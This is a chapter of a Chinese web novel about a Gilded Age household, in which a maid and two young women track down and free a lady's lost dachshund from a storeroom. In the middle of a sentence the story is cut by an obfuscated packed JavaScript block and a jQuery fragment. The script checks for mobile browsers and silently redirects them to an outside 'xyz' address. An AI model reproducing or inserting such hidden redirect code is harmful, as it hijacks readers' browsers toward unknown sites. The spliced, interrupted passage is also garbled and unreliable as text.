27.「墨西哥不见了!」
作品:《镀金时代小女仆》 「墨西哥不见了!」
这声惊呼,让布鲁克宅邸一清早便陷入了不寻常的混乱。
平时温和娴静的伊迪丝小姐此刻脸色苍白,她提着裙摆,无助地站在大厅中央,看着仆人们像没头苍蝇一样四处翻找,却一次次带回令人失望的摇头。
她的爱犬,那只名叫墨西哥的小巴伐利亚腊肠犬,平时像个小影子一样跟着她,此刻却没了踪影。
脚步声在各处走廊杂乱响起,女仆们掀开柜门查看里面,男仆们被支使着跑向花园和马厩。低沉的呼唤声此起彼伏——「墨西哥?」「墨西哥,好孩子,快出来!」
梅布尔太太尖利的嗓音在走廊里回荡,试图维持秩序:「露西,检查客厅的沙发底下!约翰,再去花园灌木丛仔细看看!都动起来!」但指挥效果甚微,仆人们显然缺乏寻找一只小狗的有效方法。
与这片混乱形成鲜明对比的是玛蒂尔达夫人。她悠闲地坐在客厅最舒适的扶手椅里,小口啜饮着刚煮好的咖啡,仿佛眼前的一切不过是一场有趣的表演。当伊迪丝焦急地望向她时,她只是轻轻放下精致的瓷杯,挑眉凝视自己的妹妹。
「不过是只狗,伊迪丝。」玛蒂尔达的声音平稳得没有一丝波澜,她甚至慢条斯理地整理了一下裙摆的褶皱,「丢了再买一只就是。」
她抬眼瞥了妹妹一眼,嘴角勾起一个细小的弧度,继续用那把冷静得残忍的嗓音说:「总比让你生孩子容易一些,不是吗?」
这话像鞭子一样抽过来。伊迪丝的脸瞬间变得更白,嘴唇哆嗦着,却一句话也说不出来。她猛地转身,几乎是跑着离开了大厅,肩膀因为气愤和羞辱而微微发抖。
安妮原本在擦拭脚凳,听到动静也停了下来。此时,埃莉诺小姐也从楼上下来了,正轻声安慰着伊迪丝,脸上带着真诚的关切。甚至连米芙也出现在走廊转角,安静地观察着情况。
/
安妮放下抹布,走到伊迪丝小姐身边。「小姐,」她低声说,「您仔细回想一下,墨西哥最后是在哪里出现的?它有没有特别迷恋的玩具或是常躲藏的地方?」
伊迪丝像是抓住了救命稻草,急忙抓住安妮的手。「昨晚它还在我房间睡觉,抱着它最喜欢的绒布骨头。早上我醒来它就不见了。房间门是关着的,我不知道它怎么出去的……」
安妮点点头。「别急,小姐。方便去您房间看看吗?」
「姑妈,」埃莉诺小姐声音温柔,毫不犹豫地上前挽住伊迪丝发抖的胳膊,「我也来帮忙。」
米芙没有说话,只是对安妮微微点头,示意她也愿意帮忙。
三个女孩,因为一只走失的小狗,第一次并肩走到一起。
/
安妮仔细检查伊迪丝小姐的房间。
她目光扫过,不放过任何角落。很快,她在窗台边缘辨认出一些狗毛。窗户开着一道不小的缝,外窗檐离地有一段距离,但不算很高,且窗外恰好有一处宽大的雨棚,更下方是茂密的矮冬青灌木丛。安妮快速判断,墨西哥极有可能是从这儿跳下去,并在落地前被雨棚、树丛缓冲了身形。
「它可能从窗户出去了。」安妮指向那处狗毛。
她们立即来到窗外的花园。清晨的露水还缀在草尖,泥土湿润柔软。安妮蹲下身,仔细查看地面。
「看这里,」她指着一处明显的凹陷,「是墨西哥的脚印,还很新。」
埃莉诺也立刻俯身,她细致的目光捕捉到脚印旁一道轻微的拖拽痕迹。「看,这里还有条细长的印子,」声音里带着发现的雀跃,「它可能一直叼着它最爱的那个绒布骨头没放开。」
米芙则没有蹲下,她退后几步,环视整个花园布局,目光掠过地面、灌木和路径。随即,她指向花园边缘的碎石路:「看那边,脚印是往那个方向去的。散落着一些煤渣,它可能踩过了储藏室旁的煤堆。」她的观察为搜索提供了关键的方向。
爪印沿着小径延伸,果然在脚印之间发现了零星的黑色煤灰,安妮几人跟着脚印,随后转向宅子侧面。
「它确实去了储藏室那边。」安妮判断。
/
这个储藏室是放置大件物品的地方。
来到储藏室外,安妮发现爪印在这里变得混乱而重叠,似乎墨西哥曾在此焦急地来回徘徊。但更令人头疼的是,地上还有许多清晰的人类脚印和拖拽重物的痕迹,严重干扰了小狗足迹的连续性。
「它可能进去了。」安妮推了推那扇厚重的木门,门是锁着的。
这时洗衣女仆海伦正好抱着篮子经过,安妮赶忙叫住她:「海伦大婶,您今天早上来过这边吗?有没有看到墨西哥?」
海伦摇摇头:「没看见小狗。不过我早上取肥皂时,好像听到里面有抓挠的声音。我以为是野猫什么的。」
米芙闻言,立刻开口,语气高效利落:「我去找施耐德先生拿钥匙。」她转身快步走向管家的办公室,裙摆微扬,步伐沉稳而迅速。没过多久,她便带着钥匙返回,清晰地说明情况:「施耐德先生说,这扇门昨晚确认忘了锁,今天一早发现虚掩着,才重新锁上的。」
她选出一把旧铜钥匙,利落地插入锁孔转动,门应声而开。
/
推开门,一股浓重的霉味混合着灰尘扑面而来。储藏室里堆满了蒙尘的旧家具、板条箱和各种杂物,光线昏暗,阴影幢幢,视线极差。
「墨西哥?」伊迪丝小姐颤声呼唤,声音在拥挤的空间中显得微弱。
安妮拦住她,「里面太乱太暗,杂物容易绊倒人,让我先看看。」她蹲下身,借着微弱的光线仔细查看地面。灰尘很厚,能辨出一串小小脚印,蜿蜒通向一堆木箱后方。
「我来照明。」米芙立刻主动请缨,她找到一盏壁挂油灯,点亮并举高。温暖的光线驱散黑暗,勾勒出杂物的轮廓。就在这一片寂静中,一阵极其微弱、可怜兮兮的呜咽声从深处传来。
「在那里!」安妮轻声喊道,往深处走去。
她们发现墨西哥被卡在两个破木箱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422296|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之间的窄缝中,只露出毛茸茸的屁股和无力摇摆的尾巴,发出可怜的哀鸣。
伊迪丝立刻想冲上去抱它,但这次,是埃莉诺拦住了她。「姑妈,别急,硬拉可能会伤到它的骨头或韧带。让我来,我们需要更小心。」
埃莉诺站到安妮旁边,一起蹲下来,仔细观察缝隙。同时,伸出手,极其轻柔地抚摸小狗露在外面的背部,试图安抚它的恐惧。「好了,墨西哥,没事了,我们来了……」她低声安抚着,「箱子太重,挪不动。它卡得很紧,但没有明显外伤,主要是吓坏了。」
米芙建议道,「要不要去找几个男士过来帮忙。」
埃莉诺想起以前在家里母亲帮她救出被困小猫的经历——通过使用润滑剂,让缝隙变得顺滑。她说,「我先试试,姑妈你也去找人来帮忙,如果我的法子不管用,就让人搬开这些箱子。」
「我需要一些黄油,或者油脂。」埃莉诺对安妮说。
安妮点头,「厨房有。」她转身快步离去,脚步轻而稳。
伊迪丝也急速转身去找宅邸里的男仆。
等待期间,埃莉诺持续低声安抚小狗,米芙则举灯稳定不动,试图让它保持平静。
不过几分钟,安妮就带回一碗黄油。她和埃莉诺一起,用手指挖了一块,小心地涂抹在卡住小狗的木缝边缘。黄油渐渐渗入缝隙,润滑了干燥的木头。
伊迪丝小姐带着三个男仆匆匆赶到。不过用不到男仆了。
「现在,姑妈,轻轻试试。」埃莉诺对伊迪丝小姐说。
伊迪丝小心翼翼伸出手,轻轻拉动墨西哥的身体。这一次,小狗稍微松了一些。埃莉诺和安妮继续涂抹黄油,米芙则适时地伸出空着的那只手,用力稳住另一个可能晃动的箱体,防止它突然滑动造成二次挤压。
终于,墨西哥顺利滑出,扑进伊迪丝的怀中,萎靡地舔着她的脸,发出委屈的呜呜声。
伊迪丝紧紧抱住失而复得的小狗,眼泪决堤落下。「谢谢你,埃莉诺。谢谢!哦,也谢谢你们,我亲爱的安妮,米芙。」
埃莉诺松了口气,紧绷的肩膀松弛下来,露出微笑。米芙轻轻放下油灯,安静地站在一旁,嘴角也跟着微微上扬。
安妮示意接过小狗,简单检查了一下它的四肢和身体。「它没事,只是受了点惊吓。」
伊迪丝抱着墨西哥,再次向安妮三人道谢后才离开。
储藏室里骤然静了下来。
三个女孩站在原地,谁都没有立刻离开。
她们像是做了什么了不得的大事,等着自我奖赏。奖励他们也找到了,墨西哥遗落在地上的玩具骨头。
安妮将玩具抓在手上,抛了抛。
唔!
扬起一地尘埃。
尘埃还在飞舞,霉味并未散去,但周遭的空气却变得如此清新。她们贪婪地呼吸着。
/
梅布尔太太的声音从门外传来:「既然狗找到了,就都回去工作吧。安妮,把这里收拾干净。」